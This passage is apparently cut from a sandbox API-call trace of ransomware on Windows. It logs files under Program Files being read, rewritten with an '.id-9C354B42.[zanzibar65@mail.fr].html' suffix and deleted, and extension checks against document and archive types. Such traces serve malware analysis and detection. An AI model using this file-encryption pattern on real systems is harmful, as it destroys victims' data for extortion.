liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.569] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.569] GetLastError () returned 0x0 [0046.569] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x51a5b, lpOverlapped=0x0) returned 1 [0046.805] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x51a60, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x51a60, lpOverlapped=0x0) returned 1 [0046.813] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.813] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0046.813] SetEndOfFile (hFile=0x208) returned 1 [0046.813] CloseHandle (hObject=0x208) returned 1 [0046.813] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.813] SetEndOfFile (hFile=0x174) returned 1 [0046.816] CloseHandle (hObject=0x174) returned 1 [0046.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.817] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\fm20.chm")) returned 1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.817] lstrlenW (lpString=".doc") returned 4 [0046.817] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString=".docx") returned 5 [0046.817] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0046.817] lstrlenW (lpString=".pdf") returned 4 [0046.817] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString=".xls") returned 4 [0046.817] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString=".xlsx") returned 5 [0046.817] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0046.817] lstrlenW (lpString=".ppt") returned 4 [0046.817] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.817] lstrlenW (lpString=".zip") returned 4 [0046.817] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString=".rar") returned 4 [0046.817] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.817] lstrlenW (lpString=".bz2") returned 4 [0046.817] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.817] lstrlenW (lpString=".7z") returned 3 [0046.818] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString=".dbf") returned 4 [0046.818] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString=".1cd") returned 4 [0046.818] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString=".jpg") returned 4 [0046.818] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString=".doc") returned 4 [0046.818] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString=".docx") returned 5 [0046.818] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0046.818] lstrlenW (lpString=".pdf") returned 4 [0046.818] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString=".xls") returned 4 [0046.818] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString=".xlsx") returned 5 [0046.818] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0046.818] lstrlenW (lpString=".ppt") returned 4 [0046.818] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.818] lstrlenW (lpString=".zip") returned 4 [0046.818] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString=".rar") returned 4 [0046.818] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0046.818] lstrlenW (lpString=".bz2") returned 4 [0046.818] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0046.818] lstrlenW (lpString=".7z") returned 3 [0046.818] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0046.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.819] lstrlenW (lpString=".dbf") returned 4 [0046.819] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0046.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.819] lstrlenW (lpString=".1cd") returned 4 [0046.819] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0046.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\FM20.CHM") returned 69 [0046.819] lstrlenW (lpString=".jpg") returned 4 [0046.819] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0046.819] lstrcmpiW (lpString1=".MSG", lpString2=".html") returned 1 [0046.819] lstrlenW (lpString="FPEXT.MSG") returned 9 [0046.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.820] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=169637) returned 1 [0046.820] CloseHandle (hObject=0x174) returned 1 [0046.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0046.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.820] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.820] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0046.821] GetLastError () returned 0x0 [0046.821] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0046.825] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0046.829] ReadFile (in: hFile=0x174, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.829] WriteFile (in: hFile=0x208, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0046.829] SetEndOfFile (hFile=0x208) returned 1 [0046.829] CloseHandle (hObject=0x208) returned 1 [0046.829] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.829] SetEndOfFile (hFile=0x174) returned 1 [0046.831] CloseHandle (hObject=0x174) returned 1 [0046.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0046.831] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0046.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.831] lstrlenW (lpString=".doc") returned 4 [0046.831] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0046.831] lstrlenW (lpString=".docx") returned 5 [0046.831] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0046.832] lstrlenW (lpString=".pdf") returned 4 [0046.832] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0046.832] lstrlenW (lpString=".xls") returned 4 [0046.832] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0046.832] lstrlenW (lpString=".xlsx") returned 5 [0046.832] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0046.832] lstrlenW (lpString=".ppt") returned 4 [0046.832] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString=".zip") returned 4 [0046.832] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0046.832] lstrlenW (lpString=".rar") returned 4 [0046.832] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0046.832] lstrlenW (lpString=".bz2") returned 4 [0046.832] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0046.832] lstrlenW (lpString=".7z") returned 3 [0046.832] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString=".dbf") returned 4 [0046.832] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString=".1cd") returned 4 [0046.832] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString=".jpg") returned 4 [0046.832] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.832] lstrlenW (lpString=".doc") returned 4 [0046.832] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0046.832] lstrlenW (lpString=".docx") returned 5 [0046.832] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0046.833] lstrlenW (lpString=".pdf") returned 4 [0046.833] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0046.833] lstrlenW (lpString=".xls") returned 4 [0046.833] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0046.833] lstrlenW (lpString=".xlsx") returned 5 [0046.833] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0046.833] lstrlenW (lpString=".ppt") returned 4 [0046.833] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0046.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.833] lstrlenW (lpString=".zip") returned 4 [0046.833] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0046.833] lstrlenW (lpString=".rar") returned 4 [0046.833] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0046.833] lstrlenW (lpString=".bz2") returned 4 [0046.833] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0046.833] lstrlenW (lpString=".7z") returned 3 [0046.833] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0046.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.833] lstrlenW (lpString=".dbf") returned 4 [0046.833] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0046.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.833] lstrlenW (lpString=".1cd") returned 4 [0046.833] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0046.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0046.833] lstrlenW (lpString=".jpg") returned 4 [0046.833] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0046.833] lstrcmpiW (lpString1=".bmp", lpString2=".html") returned -1 [0046.833] lstrlenW (lpString="verisign.bmp") returned 12 [0046.833] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0046.834] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2702) returned 1 [0046.834] CloseHandle (hObject=0x174) returned 1 [0046.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0046.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.835] lstrlenW (lpString=".doc") returned 4 [0046.835] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".docx") returned 5 [0046.835] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0046.835] lstrlenW (lpString=".pdf") returned 4 [0046.835] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".xls") returned 4 [0046.835] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".xlsx") returned 5 [0046.835] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0046.835] lstrlenW (lpString=".ppt") returned 4 [0046.835] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.835] lstrlenW (lpString=".zip") returned 4 [0046.835] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".rar") returned 4 [0046.835] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".bz2") returned 4 [0046.835] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString=".7z") returned 3 [0046.835] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0046.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.835] lstrlenW (lpString=".dbf") returned 4 [0046.835] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0046.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.835] lstrlenW (lpString=".1cd") returned 4 [0046.835] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString=".jpg") returned 4 [0046.836] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString=".doc") returned 4 [0046.836] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".docx") returned 5 [0046.836] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0046.836] lstrlenW (lpString=".pdf") returned 4 [0046.836] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".xls") returned 4 [0046.836] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".xlsx") returned 5 [0046.836] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0046.836] lstrlenW (lpString=".ppt") returned 4 [0046.836] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString=".zip") returned 4 [0046.836] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".rar") returned 4 [0046.836] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".bz2") returned 4 [0046.836] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString=".7z") returned 3 [0046.836] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString=".dbf") returned 4 [0046.836] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.836] lstrlenW (lpString=".1cd") returned 4 [0046.836] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0046.836] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0046.837] lstrlenW (lpString=".jpg") returned 4 [0046.837] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0046.837] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0046.837] lstrlenW (lpString="adojavas.inc") returned 12 [0046.837] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.937] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=14610) returned 1 [0046.937] CloseHandle (hObject=0x194) returned 1 [0046.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0046.937] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.937] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.937] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.937] lstrlenW (lpString=".doc") returned 4 [0046.937] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.937] lstrlenW (lpString=".docx") returned 5 [0046.937] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.937] lstrlenW (lpString=".pdf") returned 4 [0046.937] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.937] lstrlenW (lpString=".xls") returned 4 [0046.937] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.937] lstrlenW (lpString=".xlsx") returned 5 [0046.937] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.937] lstrlenW (lpString=".ppt") returned 4 [0046.937] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString=".zip") returned 4 [0046.938] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString=".rar") returned 4 [0046.938] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString=".bz2") returned 4 [0046.938] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.938] lstrlenW (lpString=".7z") returned 3 [0046.938] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString=".dbf") returned 4 [0046.938] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString=".1cd") returned 4 [0046.938] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString=".jpg") returned 4 [0046.938] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.938] lstrlenW (lpString=".doc") returned 4 [0046.938] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.938] lstrlenW (lpString=".docx") returned 5 [0046.938] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.938] lstrlenW (lpString=".pdf") returned 4 [0046.938] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString=".xls") returned 4 [0046.938] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.938] lstrlenW (lpString=".xlsx") returned 5 [0046.938] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.938] lstrlenW (lpString=".ppt") returned 4 [0046.938] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.939] lstrlenW (lpString=".zip") returned 4 [0046.939] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.939] lstrlenW (lpString=".rar") returned 4 [0046.939] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.939] lstrlenW (lpString=".bz2") returned 4 [0046.939] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.939] lstrlenW (lpString=".7z") returned 3 [0046.939] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0046.939] lstrlenW (lpString=".dbf") returned 4 [0046.939] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 